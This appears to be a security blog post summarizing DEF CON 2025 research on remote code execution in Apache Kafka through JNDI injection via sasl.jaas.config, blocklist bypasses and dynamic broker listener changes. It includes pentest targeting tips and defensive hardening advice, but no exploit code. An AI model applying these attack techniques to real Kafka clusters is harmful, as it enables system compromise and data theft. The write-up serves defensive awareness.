Remote Code Execution in Kafka: Exploiting Insecure JNDI Lookups

TLDR: Researchers at DEF CON 2025 demonstrated how to achieve Remote Code Execution (RCE) in Apache Kafka and Confluent Platform by manipulating connection strings and configuration settings to trigger insecure JNDI lookups. By injecting malicious LoginModules and CallbackHandlers, attackers can force brokers and clients to connect to rogue servers. This research highlights critical risks in misconfigured Kafka environments and underscores the necessity of strict configuration management and authentication.

Apache Kafka is the backbone of modern data streaming, but its complexity often hides significant security gaps. When we talk about infrastructure, we usually focus on the perimeter, but this research proves that the internal configuration of a message broker is just as dangerous as an unpatched web server. The core issue here is the reliance on Java Naming and Directory Interface (JNDI) lookups, a classic vector for RCE that has haunted the Java ecosystem since the Log4Shell era.

The Mechanics of the JNDI Injection

The vulnerability, tracked as CVE-2023-25194, stems from the way Kafka clients handle connection strings. If an attacker can influence the configuration properties used to connect to a Kafka cluster, they can inject a malicious JNDI URL. When the client attempts to authenticate, it performs a lookup against the attacker-controlled server, leading to the deserialization of a malicious object and subsequent code execution.

The researchers identified that this isn't just a client-side problem. By manipulating the sasl.jaas.config property, they could force the client to instantiate a JndiLoginModule. The attack flow is straightforward:

1. The attacker sets up a rogue JNDI server.
2. The attacker provides a connection string containing the malicious JNDI path.
3. The Kafka client, running in the victim's JVM, initiates the lookup.
4. The rogue server returns a payload that the client deserializes, executing arbitrary code.

This technique is particularly potent because it bypasses standard network-level controls. If you are a pentester, you should look for any application that allows user-supplied input to reach Kafka configuration properties, such as bootstrap.servers or JAAS configuration strings.

Bypassing the Patch

Kafka maintainers attempted to mitigate this by introducing a blocklist for certain LoginModules in CVE-2024-25194. However, the researchers found that this was insufficient. By using a ProxyLoginModule or other legitimate but dangerous modules, they could still achieve the same result. This is a recurring theme in security research: developers often patch the specific symptom rather than the underlying architectural flaw.

The researchers also discovered a new, more severe vulnerability in the Kafka broker itself, CVE-2025-27819. This is the first RCE affecting the broker directly. It works by exploiting the dynamic nature of Kafka's listener configuration. Kafka allows administrators to add or remove listeners dynamically using the kafka-configs.sh tool. If an attacker can modify these configurations, they can inject a new listener with a malicious JAAS configuration, effectively turning the broker into an RCE vector.

Real-World Impact and Testing

During a penetration test, you should treat Kafka configuration interfaces as high-value targets. If you find an exposed Confluent Control Center or a misconfigured ksqlDB instance, you have a direct path to the broker's configuration. The researchers showed that by executing a simple SQL query in ksqlDB, they could modify the producer configuration and trigger the JNDI lookup.

The impact is total system compromise. Once you have RCE on a Kafka broker, you have access to the entire data stream, the ability to manipulate messages, and a foothold in the internal network. This is not a theoretical bug; it is a direct result of how Kafka handles authentication and configuration.

Defensive Measures

Defending against this requires a multi-layered approach. First, ensure your Kafka clusters are running the latest versions, as these include the necessary blocklists and configuration hardening. Second, never expose Kafka management interfaces to the public internet. Use OWASP Authentication Cheat Sheet principles to ensure that only authorized users can modify cluster configurations.

Most importantly, treat your configuration files as code. Use automated tools to audit your Kafka configurations for suspicious properties like sasl.jaas.config or unusual listener definitions. If you are using Docker to deploy your clusters, ensure your images are patched and that you are not running as root.

The "Sword of Damocles" in this scenario is the inherent trust Kafka places in its configuration. As long as the broker allows dynamic, unauthenticated, or weakly authenticated changes to its internal security settings, it will remain a target. For researchers, the lesson is clear: look for where the application parses configuration strings and see if you can force it to look somewhere it shouldn't. The next big RCE is likely hiding in a configuration file that everyone assumes is safe.